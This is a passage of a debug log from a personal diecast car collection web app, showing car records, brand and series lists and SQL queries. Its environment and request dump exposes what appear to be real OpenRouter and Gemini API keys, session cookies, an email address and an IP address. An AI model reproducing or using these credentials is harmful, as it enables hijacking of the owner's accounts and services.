      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-12T13:26:31.800Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-12T13:26:31.800Z server-connect:app Executing action step select
2026-02-12T13:26:31.800Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:26:31.802Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-12T13:26:31.802Z server-connect:app Executing action step select
2026-02-12T13:26:31.802Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:26:31.802Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-12T13:26:32.321Z server-connect:router Serving templateView /diecast-worksheet
2026-02-12T13:26:32.322Z server-connect:app Executing action step identify
2026-02-12T13:26:32.322Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:32.322Z server-connect:output identity: 1
2026-02-12T13:26:32.322Z server-connect:app Executing action step restrict
2026-02-12T13:26:32.322Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:26:32.323Z server-connect:output restrict: undefined
2026-02-12T13:26:32.323Z server-connect:router Render template layouts/main
2026-02-12T13:26:32.323Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14e17-Gm5sHKqWiNbGpTVZJ2sPTtr6Lb8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T13:12:07.489Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14e17-Gm5sHKqWiNbGpTVZJ2sPTtr6Lb8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-worksheet'
}
2026-02-12T13:26:32.969Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-12T13:26:32.971Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-12T13:26:32.972Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:26:32.972Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:26:32.972Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T13:26:32.973Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:26:32.973Z server-connect:app Executing action step identify
2026-02-12T13:26:32.973Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:32.973Z server-connect:output identity: 1
2026-02-12T13:26:32.973Z server-connect:app Executing action step restrict
2026-02-12T13:26:32.973Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:26:32.974Z server-connect:app Executing action step identify
2026-02-12T13:26:32.974Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:32.974Z server-connect:output identity: 1
2026-02-12T13:26:32.974Z server-connect:app Executing action step restrict
2026-02-12T13:26:32.974Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:26:32.974Z server-connect:app Executing action step identify
2026-02-12T13:26:32.974Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:32.974Z server-connect:output identity: 1
2026-02-12T13:26:32.974Z server-connect:app Executing action step restrict
2026-02-12T13:26:32.974Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:26:32.975Z server-connect:app Executing action step identify
2026-02-12T13:26:32.975Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:32.975Z server-connect:output identity: 1
2026-02-12T13:26:32.975Z server-connect:app Executing action step restrict
2026-02-12T13:26:32.975Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:26:32.975Z server-connect:app Executing action step identify
2026-02-12T13:26:32.975Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:32.975Z server-connect:output identity: 1
2026-02-12T13:26:32.975Z server-connect:app Executing action step restrict
2026-02-12T13:26:32.975Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:26:32.976Z server-connect:output restrict: undefined
2026-02-12T13:26:32.976Z server-connect:app Executing action step select
2026-02-12T13:26:32.976Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-12T13:26:32.976Z server-connect:app Executing action step identify
2026-02-12T13:26:32.976Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:32.976Z server-connect:output identity: 1
2026-02-12T13:26:32.976Z server-connect:app Executing action step restrict
2026-02-12T13:26:32.976Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:26:32.977Z server-connect:output restrict: undefined
2026-02-12T13:26:32.977Z server-connect:app Executing action step single
2026-02-12T13:26:32.977Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-12T13:26:32.977Z server-connect:output restrict: undefined
2026-02-12T13:26:32.977Z server-connect:app Executing action step select
2026-02-12T13:26:32.977Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:26:32.978Z server-connect:output restrict: undefined
2026-02-12T13:26:32.978Z server-connect:app Executing action step select
2026-02-12T13:26:32.978Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:26:32.978Z server-connect:output restrict: undefined
2026-02-12T13:26:32.978Z server-connect:app Executing action step paged
2026-02-12T13:26:32.979Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T13:26:32.980Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-12T13:26:32.980Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-12T13:26:32.981Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
